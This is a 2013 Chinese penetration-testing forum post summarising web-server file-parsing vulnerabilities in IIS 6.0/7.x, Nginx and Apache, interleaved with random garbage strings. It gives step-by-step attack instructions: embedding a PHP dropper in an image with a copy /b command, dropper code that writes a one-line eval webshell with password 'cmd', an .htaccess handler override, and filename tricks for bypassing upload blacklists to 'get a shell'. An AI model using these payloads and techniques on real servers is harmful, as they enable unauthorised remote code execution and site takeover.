中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
$ X% s" T H3 x3 ]" v ]
[+]IIS6.0
* _: @1 d/ |7 }1 t l9 B; A2 ^7 _
; K7 P& n1 b$ j( Q
目录解析:/xx.asp/xx.jpg
6 V' @& D/ ~* s! ^) A0 {0 z
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
$ j7 X; h3 N- B. z" e
IIS6.0 会将 xx.jpg 解析为 asp 文件。
- y# J* w* @! q# e
后缀解析:/xx.asp;.jpg
8 ^& n$ b+ V' K+ Z$ U; @# Q: U
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
' o8 |, M3 |1 U1 |
默认解析:/xx.asa
& U2 J6 v, d- P$ o) Y
/xx.cer
; I! Z, N1 U" I7 c0 y9 `
/xx.cdx
1 V2 [' p' V* e% H# t
IIS6.0 默认的可执行文件除了 asp 还包含这三种
4 G; \. f. }; z. I. Q- k9 p6 Y
此处可联系利用目录解析漏洞
! [/ C0 d; k/ _* t
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
/ g" F# B: N$ q' C
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
3 A" E A$ ^- F& _/ V+ \. _) c) S
' F, v6 A2 `/ W' g2 L9 y
IIS 7.0/IIS 7.5/Nginx <0.8.03
* \% F6 t# l9 p) r
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
( `8 E2 T8 v* ?6 h9 m$ I
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
+ a$ B6 M+ K& y9 D& M0 l& Y
常用利用方法:
) q. w5 ] m% G' |" K' }
将一张图和一个写入后门代码的文本文件合并将恶意文本
' Z c; X! ~( l6 ?
写入图片的二进制代码之后,避免破坏图片文件头和尾
& B8 X( \/ e |1 B
如:
! K. D; F" R0 r3 g V9 b
copy xx.jpg /b + yy.txt/a xy.jpg
" f* }' ^: W+ n. g4 d7 x4 O& s/ A
#########################################################
# ]$ l4 V' m1 S; L
/b 即二进制[binary]模式
! L/ H0 \6 m* S
/a 即ascii模式
# G0 z% w4 E( l0 u& T
xx.jpg 正常图片文件
$ z% C% P; |/ s
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
, R" O2 E' r4 q9 C) A
'<?php eval($_POST[cmd])?>');?>
2 w \+ c9 o) l2 G, W
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
% [2 ~5 C9 ~. b6 _$ k/ ^
为shell.php的文件
& w o. q _7 G2 f; S/ j
###########################################################
+ [, o5 t" U/ a& L8 E' ?
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
( D3 ~" S2 T9 }; S
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
( Z/ L3 |6 Y2 d2 ^
密码 cmd
$ w3 K. a2 U V( L* F7 h/ F5 A
[+]Nginx <0.8.03
# a7 h B1 K6 ^! e; {' D, D
2 T/ ^, M) j, u% e6 l, W7 l
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
+ u8 K+ U" e, r
在一个文件路径(/xx.jpg)后面加上%00.php
0 C$ N+ v$ t$ i7 |/ `
会将 /xx.jpg%00.php 解析为 php 文件。
8 x0 e& ?( }) r
[+]Apache<0.8.03
3 |/ [: _3 g& ~9 b8 g( r3 g( o7 z4 W
/ q( R1 X# g$ J. L
后缀解析:test.php.x1.x2.x3
! a0 Z9 `. R) Z
Apache将从右至左开始判断后缀,若x3非可识别后缀,
7 }7 q7 f7 |( q& V
再判断x2,直到找到可识别后缀为止,然后将该可识别
/ X5 |' F( p4 B1 `
后缀进解析test.php.x1.x2.x3 则会被解析为php
4 b* f1 l3 Z/ u* Z/ g* ]8 _/ k
经验之谈:php|php3|phtml 多可被Apache解析。
! v( v: B) u, Q! H$ m
[+]其他一些可利用的
y) ^7 ]) }. d- w9 w9 f- x
/ ~: s! H/ e( e8 H
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
3 `, B9 M3 K( K
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
2 h( B/ h( K! o1 a& o# q
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
% y, X0 l; q# Z a
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
' J) x5 T `! R! u- i; Q3 C
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
$ @9 j2 \! s* K5 V. L% ?1 ^8 w' C
{Linux主机中不行,Linux允许这类文件存在}
- s+ v6 w* {8 i2 H
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
+ y4 z8 V9 @! p; w3 y
的,当初我并不知道),且可以被上传,那可以尝试在
) `9 }& O9 B/ ~( ]
.htaccess中写入:
- \: C5 S R. D; k% t$ `3 ^& B& U# Q2 ]
<FilesMatch “shell.jpg”>
! L( _, U9 J5 A' z7 E/ {7 ?
SetHandler application/x-httpd-php
) o F9 r1 E$ i: ~ R
</FilesMatch>
$ l5 N8 D9 ^0 @9 s# b# K
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
0 ]1 c& L B5 R2 |- C9 [
[+]错误修改
) X6 Z. {" U6 a0 I1 F
4 H3 b) y2 _) K- y. B: M; F
在 IIS 6.0 下可解析 /xx.asp:.jpg
$ Y R. \( |+ Y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
3 S7 A% _6 W2 D
剩下/xx.asp}修改:
# l# U h/ ]6 M7 V4 U
先谢谢核攻击的提醒
8 f& K1 D/ X+ E: Q A! A( p+ y
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
% m8 G6 u5 L4 [, ]8 y3 `
里是没有任何内容的,因为。。不好解释 大家自己看
& j" ^" @! A- h
http://lcx.cc/?i=2448
1 v# N" g4 Z1 h8 q' C
http://baike.baidu.com/view/3619593.htm
6 j- F" w9 [4 x9 P& B; I2 d2 ~
0 {# m2 W& s1 S/ P( ]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2